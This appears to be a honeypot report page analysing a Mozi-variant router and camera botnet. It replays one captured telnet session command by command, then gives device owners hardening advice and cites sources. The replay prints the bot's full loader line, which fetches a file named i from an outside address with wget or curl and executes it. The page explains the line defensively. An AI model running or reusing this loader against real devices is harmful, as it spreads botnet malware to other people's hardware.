Skip to the article

Router and camera botnet

On this page

On this page

  1. One visit, line by line
  2. If you own a router or camera
  3. Why it wants your router
  4. Who is behind it
  5. What it was trying to install
  6. This week
  7. Sources

Attack types

Probably an infected router or video recorder [1][2]. It comes in over telnet, the old way of logging in to a machine over the network, with a factory password. It opens a Linux shell, the prompt that runs commands, and tries to download and run a copy of itself.

This honeypot, a machine that exists to be attacked, saw it from 328 IP addresses, the numbers machines are reached at on the internet, from 9 to 15 October 2026 (UTC). They made 99.3% of the sessions that typed a command here, a session being one connection from login to hangup. Most of it was one botnet, a crowd of infected machines taking orders from the same people. CERT.br labelled a capture with exactly this shape "Telnet: Mozi variant" [3].

One visit, line by line

One real session from 9 October 2026, about nine seconds long. The honeypot is rigged to let each new address in on a guess picked at random, from its 2nd to its 5th, whatever the guess is [5]. The replay is a recording of an earlier visit that typed exactly the same thing [6].

Several lines call BusyBox, one small program that stands in for most standard Linux commands. The last line tries to fetch the payload, the program the bot wants to run. Downloads are blocked, so it never arrived.

Never run these commands.









    

  1. start An escape word for reaching a Linux shell. On Juniper routers, start shell opens a Unix shell. Here it fails and the bot carries on [8].
    2. 

  2. enable On Cisco style routers, enable moves into privileged mode, where all the commands are [9].
    3. 

  3. config terminal Short for configure terminal, the Cisco command for configuration mode [9].
    4. 

  4. system Researchers describe system as the way into a menu of system management options [10].
    5. 

  5. linuxshell On a Zyxel fibre modem, this reaches a standard Linux shell. A 2023 study found it in one of the two most common escape sequences [11][12].
    6. 

  6. su su switches to another account, root by default. The replay comes from a root login, so here it does nothing [7].
    7. 

  7. shell In the replay, shell fails. This visit was let in as user, so su waited for a password and took shell as the password [7].
    8. 

  8. sh shell and sh start a Bourne shell, the standard Unix command prompt. The bot types the whole list whatever answers [10].
    9. 

  9. >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x43\x56\x4a\x4d\x4f\x48' The folder hunt. In each folder it creates an empty file called .x, looking for somewhere it can write. The echo prints a marker, CVJMOH, so the bot knows this part has finished [12][13].
    10. 

  10. /bin/busybox wget;/bin/busybox echo -ne '\x43\x56\x4a\x4d\x4f\x48' Asks BusyBox for wget, its download tool. A usage message means wget is there. A study of 2021 telnet logs describes a family of loaders that share this check, which it calls 6-chars [14].
    11. 

  11. >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://198.51.100.20:47203/i ||curl -O http://198.51.100.20:47203/i ||/bin/busybox wget http://198.51.100.20:47203/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x50\x4f\x51\x4f\x4d\x55\x4e\x4e' The download. It tries wget, curl and BusyBox's wget in turn, then runs the file. CERT.br published this line in February 2026, word for word apart from the address, the port and the markers. Nothing arrived, so ./i finds no i [3][15].
    12. 








If you own a router or camera


    

  1. Change the default password. Default logins are published online [16]. Mozi also uses known router bugs [2][18], so update too.
    2. 

  2. Turn telnet off. It sends passwords as plain text [19]. If the device offers SSH, the encrypted replacement, use that instead [19].
    3. 

  3. Turn off remote management, so the admin login only answers from inside your network [17][21].
    4. 

  4. Turn off UPnP (Universal Plug and Play, which lets devices on your network set themselves up) unless something needs it. Malware already inside can use it to get through the router's firewall [17].
    5. 

  5. Update the firmware, and replace the device when the updates stop. The FBI says routers from 2010 or earlier probably get no updates at all [23].
    6. 

  6. If the password cannot be changed, keep the device off the open internet: forward no ports (the numbered doors a machine's services answer on) to it, and block addresses you have not allowed [24].
    7. 



Check what your address shows the internet


Run curl https://internetdb.shodan.io/ in a terminal. It lists the open ports Shodan has seen on your address, and its data is refreshed once a week [25].


If it is already infected


For Mirai, CISA said: take it off the network, reboot, change the password, then reconnect [16]. Mozi can survive a reboot on some Netgear, Huawei and ZTE gateways [18], so if in doubt, reset the device using the maker's instructions [22].







Why it wants your router


Because routers are easy: owners often do not change the defaults or patch regularly [20]. Once in, the device can become a proxy, so other people's traffic, crimes included, comes out of your address [24]. It can also join denial of service floods, junk traffic that knocks sites offline [2]. It did not pick this server. It tries addresses, and this one answered.







Who is behind it


The machine typing the commands is probably a victim itself: Mozi bots log in to new devices with weak passwords and get them to fetch the bot [2]. So the 124 addresses running its loader, the program that logs in and installs the bot, are best read as 124 infected devices, not 124 attackers.


The other big family here plants its own SSH key, a pair of files that lets someone log in without a password: the SSH key backdoor.







What it was trying to install


A file called i, which never arrived. Once it runs, a Mozi bot joins a peer to peer network of other bots and takes signed orders over it [1][2]. It changes the firewall to block SSH and telnet, so no other bot can get in after it, and starts guessing factory passwords on other addresses [2].


Most of that stopped working for most Mozi bots after a kill switch in August 2023 [4].







This week









Sources


    

  1. CenturyLink Black Lotus Labs (press release), "New Mozi Malware Family Found", 15 April 2020. s21.q4cdn.com
    2. 

  2. Netlab 360 (Alex.Turing and Hui Wang), "Mozi, Another Botnet Using DHT", 23 December 2019. blog.netlab.360.com
    3. 

  3. CERT.br (Cristine Hoepers and Klaus Steding-Jessen), Joint TF-CSIRT and FIRST Regional Symposium Europe, "The New Feed on The Block: CERT.br feeds via IntelMQ", 4 February 2026. cert.br
    4. 

  4. ESET (Milos Cermak, Ivan Besina and Michal Skuta), "Who killed Mozi? Finally putting the IoT zombie botnet in its grave", 1 November 2023. welivesecurity.com
    5. 

  5. Cowrie project, source code, "src/cowrie/core/auth.py, the AuthRandom login rule", version 3.0.13, tagged 24 August 2026. github.com
    6. 

  6. Cowrie project, source code, "src/cowrie/insults/insults.py, where a finished recording is named and duplicates dropped", version 3.0.13, tagged 24 August 2026. github.com
    7. 

  7. Cowrie project, source code, "src/cowrie/commands/su.py", version 3.0.13, tagged 24 August 2026. github.com
    8. 

  8. Juniper Networks, Junos OS CLI reference, "start shell", read 16 October 2026. juniper.net
    9. 

  9. Cisco, Configuration Fundamentals Configuration Guide, Cisco IOS Release 15.1S, "Using the Cisco IOS Command-Line Interface", last updated 15 April 2010. cisco.com
    10. 

  10. Yamauchi, Yoshimoto, Baba and Yoshioka (Okayama University and Yokohama National University), IIAI-AAI 2021, IEEE; author's copy in the Okayama University repository, "Analysis of commands of Telnet logs illegally connected to IoT devices", 2021. ousar.lib.okayama-u.ac.jp
    11. 

  11. Hack GPON, "Zyxel PMG3000-D20B", read 16 October 2026. hack-gpon.org
    12. 

  12. Okayama University (Hervet, Kobayashi and Yamauchi), CANDARW 2023, "Analyzing Post-injection Attacker Activities in IoT Devices: A Comprehensive Log Analysis Approach", 27 November 2023. ousar.lib.okayama-u.ac.jp
    13. 

  13. SANS Internet Storm Center (Johannes Ullrich), "Understanding SSH Honeypot Logs: Attackers Fingerprinting Honeypots", 11 July 2024. isc.sans.edu
    14. 

  14. arXiv (Zhu et al.), "Devils in the Clouds: An Evolutionary Study of Telnet Bot Loaders", November 2022. arxiv.org
    15. 

  15. Cowrie project, source code, "src/cowrie/commands/wget.py", version 3.0.13, tagged 24 August 2026. github.com
    16. 

  16. CISA, "Heightened DDoS Threat Posed by Mirai and Other Botnets", 14 October 2016, revised 17 October 2017. cisa.gov
    17. 

  17. CISA, "Home Network Security", released 1 February 2021. cisa.gov
    18. 

  18. Microsoft (Atch, Regev and Bevington), "How to proactively defend against Mozi IoT botnet", 19 August 2021. microsoft.com
    19. 

  19. Canonical, Ubuntu Server documentation, "OpenSSH server", updated 2 October 2026. ubuntu.com
    20. 

  20. CISA, "Securing Network Infrastructure Devices", released 6 September 2006. cisa.gov
    21. 

  21. NSA, "Best Practices for Securing Your Home Network", February 2023. media.defense.gov
    22. 

  22. UK National Cyber Security Centre, "Smart devices: using them safely in your home", 15 February 2019, reviewed 23 February 2024. ncsc.gov.uk
    23. 

  23. FBI, Internet Crime Complaint Center, "Cyber Criminal Proxy Services Exploiting End of Life Routers", 7 May 2025. ic3.gov
    24. 

  24. FBI, Internet Crime Complaint Center, "Cyber Actors Use Internet of Things Devices as Proxies for Anonymity and Pursuit of Malicious Cyber Activities", 2 August 2018. ic3.gov
    25. 

  25. Shodan, "InternetDB API", read 16 October 2026. internetdb.shodan.io
    26.